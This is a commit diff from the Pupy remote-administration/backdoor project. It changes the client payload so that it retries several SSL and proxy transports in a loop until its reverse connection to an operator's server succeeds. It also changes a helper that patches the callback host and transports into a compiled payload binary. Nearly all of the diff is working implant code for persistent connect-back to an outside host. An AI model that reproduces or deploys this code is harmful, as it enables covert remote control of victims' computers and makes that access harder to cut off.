adding possibility to try multiple transports for the same payload in loop until one succeed

This commit is contained in:
n1nj4sec 2015-11-07 17:51:15 +01:00
parent ca36034acc
commit 445aee9b79
2 changed files with 74 additions and 59 deletions

View File

@ -42,7 +42,7 @@ import argparse
from network.conf import transports
import logging
import shlex
#logging.getLogger().setLevel(logging.DEBUG)
logging.getLogger().setLevel(logging.INFO)
@ -107,19 +107,24 @@ def add_pseudo_pupy_module(HOST):
mod.get_connect_back_host=(lambda : HOST)
mod.pseudo=True
HOST="127.0.0.1:443"
TRANSPORT="tcp_ssl"
def main():
global HOST, TRANSPORT
HOST="127.0.0.1:443"
TRANSPORTS=[("tcp_ssl",{}), ("tcp_ssl_proxy",{})]
if len(sys.argv)>1:
parser = argparse.ArgumentParser(prog='pp.py', formatter_class=argparse.RawTextHelpFormatter, description="Starts a reverse connection to a Pupy server\nLast sources: https://github.com/n1nj4sec/pupy\nAuthor: @n1nj4sec (contact@n1nj4.eu)\n")
parser.add_argument('--transport', choices=[x for x in transports.iterkeys()], default=TRANSPORT, help="the transport to use ! (the server needs to be configured with the same transport) ")
parser.add_argument('--transport', choices=[x for x in transports.iterkeys()], default="tcp_ssl", help="the transport to use ! (the server needs to be configured with the same transport) ")
parser.add_argument('host', metavar='host:port', help='The address of the pupy server to connect to')
parser.add_argument('transport_args', nargs=argparse.REMAINDER, help="change some transport arguments ex for proxy transports: proxy_addr=192.168.0.1 proxy_port=8080 proxy_type=HTTP")
args=parser.parse_args()
HOST=args.host
TRANSPORT=args.transport
TRANSPORT_ARGS=args.transport_args
TRANSPORTS=[(args.transport, {})]
args_dic={}
for val in shlex.split(' '.join(args.transport_args)):
tab=val.split("=",1)
if len(tab)!=2:
exit("Error: transport arguments must be in format NAME=VALUE or 'NAME=value with spaces'")
args_dic[tab[0].lower()]=tab[1]
TRANSPORTS[0][1].update(args_dic)
if "windows" in platform.system().lower():
try:
import pupy
@ -127,13 +132,16 @@ def main():
exec config_file in globals()
pupy.get_connect_back_host=(lambda: HOST)
except ImportError:
print "Warning : ImportError: pupy builtin module not found ! please start pupy from either it's exe stub or it's reflective DLL"
logging.warning("ImportError: pupy builtin module not found ! please start pupy from either it's exe stub or it's reflective DLL")
else:
add_pseudo_pupy_module(HOST)
attempt=0
while True:
try:
print TRANSPORTS
for TRANSPORT,TRANSPORT_ARGS in TRANSPORTS:
try:
rhost,rport=None,None
tab=HOST.rsplit(":",1)
@ -142,23 +150,20 @@ def main():
rport=int(tab[1])
else:
rport=443
print "connecting to %s:%s using transport %s ..."%(rhost, rport, TRANSPORT)
logging.info("connecting to %s:%s using transport %s ..."%(rhost, rport, TRANSPORT))
t=transports[TRANSPORT]
client_args=t['client_kwargs']
transport_args=t['client_transport_kwargs']
for val in shlex.split(' '.join(TRANSPORT_ARGS)):
tab=val.split("=",1)
if len(tab)!=2:
exit("Error: transport arguments must be in format NAME=VALUE or 'NAME=value with spaces'")
if tab[0].lower() in client_args:
client_args[tab[0].lower()]=tab[1]
elif tab[0].lower() in transport_args:
transport_args[tab[0].lower()]=tab[1]
for val in TRANSPORT_ARGS:
if val.lower() in client_args:
client_args[val.lower()]=TRANSPORT_ARGS[val]
elif val.lower() in transport_args:
transport_args[val.lower()]=TRANSPORT_ARGS[val]
else:
exit("unknown transport argument : %s"%tab[0])
logging.warning("unknown transport argument : %s"%tab[0])
print "using client options: %s"%client_args
print "using transports options: %s"%transport_args
logging.info("using client options: %s"%client_args)
logging.info("using transports options: %s"%transport_args)
client=t['client'](**client_args)
s=client.connect(rhost, rport)
@ -168,7 +173,7 @@ def main():
while True:
if time.time()-start_time>timeout:
if not event.is_set():
print "timeout occured !"
logging.error("timeout occured !")
cb()
break
elif event.is_set():
@ -185,6 +190,15 @@ def main():
while True:
attempt=0
conn.serve()
except KeyboardInterrupt:
raise
except EOFError:
raise
except SystemExit:
raise
except Exception as e:
logging.error(e)
except EOFError:
print "EOF received. exiting."
break
@ -195,10 +209,11 @@ def main():
else:
print "keyboard interrupt raised, restarting the connection"
except SystemExit as e:
print e
logging.error(e)
break
except Exception as e:
print e
logging.error(e)
finally:
time.sleep(get_next_wait(attempt))
attempt+=1

View File

@ -41,7 +41,7 @@ def get_edit_binary(path, host, port, transport, offline_script=None):
elif len(offsets)!=1:
raise Exception("Error: multiple offsets to edit the config have been found")
new_conf="HOST=\"%s:%s\"\nTRANSPORT=%s\n%s\n\x00\x00\x00\x00\x00\x00\x00\x00"%(host, port, repr(transport), offline_script)
new_conf="HOST=\"%s:%s\"\nTRANSPORTS=[%s,{}]\n%s\n\x00\x00\x00\x00\x00\x00\x00\x00"%(host, port, repr(transport), offline_script)
if len(new_conf)>4092:
raise Exception("Error: config or offline script too long")
binary=binary[0:offsets[0]]+new_conf+binary[offsets[0]+len(new_conf):]